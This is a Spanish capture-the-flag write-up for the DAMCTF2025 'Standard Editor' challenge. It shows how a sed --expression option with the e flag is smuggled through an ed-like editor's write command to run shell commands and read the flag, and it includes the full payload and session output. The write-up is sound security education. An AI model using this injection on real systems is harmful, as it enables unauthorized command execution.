Este blog es solo para fines educativos y de análisis técnico en CTFs. No promueve actividades maliciosas ni el uso indebido de herramientas descritas.
Entrada

Standard Editor - DAMCTF2025

Reto basado escapar de un programa de apuntes por terminal mediante command injections.

Standard Editor - DAMCTF2025

Autor del reto: evan

Dificultad: Media

Enunciado

“Joel Fagliano has nothing on me. (flag is all caps)”

Archivos

En este reto, tenemos el siguiente archivo.

  • conexión por netcat: Contiene la conexión directa con el servidor del reto.

Archivos utilizados aquí.

Analizando el reto

Al conectarnos por netcat podemos ver el siguiente mensaje.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    ┌──(kesero㉿kali)-[~]
    └─$ nc standard-editor.chals.damctf.xyz 6733

    [Sun May 11 20:22:15 UTC 2025] Welcome, editor!
    Feel free to write in this temporary scratch space.
    All data will be deleted when you're done, but files will
    first be printed to stdout in case you want to keep them.
    
    a
    ?
    b
    ?
    c
    ?

Solver

En este reto tendremos que realizar un command injection a través del editor simulado que nos dan en el reto. Para ello como siempre en estos casos, tendremos que probar, probar y probar todo lo posible para observar cómo se comporta el servidor.

La primera suposición que podemos realizar es que el editor mencionado se trata de un editor de línea de comandos personalizado, emulando algo parecido al programa ed.

Por ejemplo, si queremos añadir líneas en este tipo de editores, con el comando a significa append y podemos añadir líneas al editor. Además si queremos finalizar la entrada de líneas, lo realizaremos mediante .. De forma parecida, el comando w el cual nos permite ejecutar comandos.

Además, al probar, observamos que las expresiones regulares están permitidas ya que observaremos que estamos habilitados para evaluar expresiones de sustitución.

Después de muchos intentos damos con el código para leer la flag.

1
2
3
4
5
6
7
8
a
.
w --expression=s@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e
a
bruh
.
w f
q

Vamos a explicarlo línea por línea.

  1. a empezamos a añadir líneas.
  2. . finalizamos la entrada de líneas
  3. w --expression=s@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e. Para comenzar, w permite escribir, --expression= nos permite evaluar y ejecuar a continuación. Por otro lado dentro de la expresión tenemos s@.*@cd\ ..\;\ cd\ ..\;\ cat\ flag@e. En la cual s@.*@...@e es una expresión de sustitución de sed con la flag e, que ejecuta el resultado como un comando de sistema. Posteriormente, .* fuerza a capturar cualquier línea dentro del archivo. Acto seguido se sustituye por cd ..; cd ..; cat flag que cambia dos niveles arriba en el sistema de archivos y luego ejecuta cat flag

  4. a, bruh, . Con esta combinación forzamos a que se ejecute el procesamiento de la expresión anterior.

  5. w f Finalmente grabamos el contenido con f y guardamos el contenido. De esta manera, forzamos al sistema que interprete la expresión con ejecución.

  6. q Por último, salimos del programa.

Realizando los pasos anteriores, obtenemos la flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  ┌──(kesero㉿kali)-[~]
  └─$ nc standard-editor.chals.damctf.xyz 6733

  [Mon May 12 16:19:16 UTC 2025] Welcome, editor!
  Feel free to write in this temporary scratch space.
  All data will be deleted when you're done, but files will
  first be printed to stdout in case you want to keep them.
  a
  .
  w --expression=s@.*@cd\ ..\;\ 
  cd\ ..\;\ cat\ flag@e
  0
  a
  bruh
  .
  w f
  5
  q
  sed: can't read s@vi\|vim\|emacs\|nano\|vscode\|notepad[+][+]\|code\|zed\|atom\|word\|office\|docs\|o365\|copilot\|cursor@ed(1)@ig: No such file or directory
  dam{is_it_w31rd_that_i_u53_ed(1)_4_fun?}

Flag

dam{is_it_w31rd_that_i_u53_ed(1)_4_fun?}

Esta entrada está licenciada bajo CC BY 4.0 por el autor.